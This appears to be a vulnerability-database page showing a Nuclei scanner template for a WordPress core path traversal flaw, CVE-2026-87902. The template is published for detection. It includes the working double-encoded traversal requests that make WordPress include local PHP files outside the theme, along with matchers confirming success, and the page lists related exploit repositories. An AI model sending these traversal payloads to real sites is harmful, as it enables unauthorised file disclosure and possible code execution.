Lucene search
+L

WordPress Core - PHP Template Path Traversal

🗓️ 14 Oct 2026 02:05:09Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 67 Views

Unauthenticated path traversal in WordPress Core via get_page_template() enables RCE.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-87902
25 Sep 202601:06
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-87902
23 Sep 202602:44
–githubexploit
githubexploit
GithubExploit
Exploit for PHP Remote File Inclusion in Wordpress
28 Sep 202617:11
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-87902
25 Sep 202600:56
–githubexploit
githubexploit
GithubExploit
ProofCMS-
29 Sep 202616:18
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-87902
22 Sep 202618:13
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-87902
22 Sep 202618:40
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-87902
23 Sep 202611:03
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-87902
24 Sep 202614:02
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-87902
23 Sep 202611:54
–githubexploit
Rows per page
id: CVE-2026-87902

info:
  name: WordPress Core - PHP Template Path Traversal
  author: Hadrian,FLX
  severity: critical
  description: |
    An unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the active theme directories. If relevant pre-conditions for both the server and the active theme are met, this can lead to RCE.
  impact: |
    An unauthenticated attacker can include local PHP files outside the active theme. Depending on the files present and the PHP configuration, this can disclose sensitive data or lead to arbitrary code execution.
  remediation: |
    Update WordPress to a patched maintenance release for the installed branch.
  reference:
    - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp
    - https://github.com/WordPress/WordPress/commit/fdeab470f4b4062462cf8ccdc788f258683c2d6f
    - https://hadrian.io/vulnerability-alerts/cve-2026-87902-working-poc-wordpress-critical-path-traversal
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
    cvss-score: 9.2
    cve-id: CVE-2026-87902
    epss-score: 0.39979
    epss-percentile: 0.98603
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 6
    vendor: wordpress
    product: wordpress
    framework: wordpress
    shodan-query: http.component:"WordPress"
    fofa-query: app="WordPress"
  tags: cve,cve2026,wordpress,wp-core,lfi,unauth,vkev,kev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-json/wp/v2/pages?per_page=1&_fields=id HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /?rest_route=/wp/v2/pages&per_page=1&_fields=id HTTP/1.1
        Host: {{Hostname}}

      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: false
    stop-at-first-match: true

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'regex("\"id\"\\s*:\\s*[0-9]+", body) || regex("(?:page_id=|page-id-|page-item-)[0-9]+", body)'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        name: page_id
        part: body
        internal: true
        group: 1
        regex:
          - '"id"\s*:\s*([0-9]+)'
          - '(?:page_id=|page-id-|page-item-)([0-9]+)'

  - raw:
      - |
        POST /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fwp-includes%252Ftheme-compat%252Ffooter HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 0

      - |
        POST /?page_id={{page_id}}&pagename=templates%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fwp-links-opml HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 0

    stop-at-first-match: true
    redirects: false

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<div id=\"footer\" role=\"contentinfo\">", "having the \"powered by\" link somewhere on your blog") || contains_all(body, "opml version", "generator=\"WordPress")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450220437db2cad9ff8ad98e4c636fe3d73016fd8f2e975ae71708857b78d515dc8708022100821c3e7ffed903191955e5435859901fd1e760e7ab23644d57c6ecf2a65b0557:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Sep 2026 09:19Current
8.1High risk
Vulners AI Score8.1
CVSS 3.18.1
EPSS0.39979
SSVC
67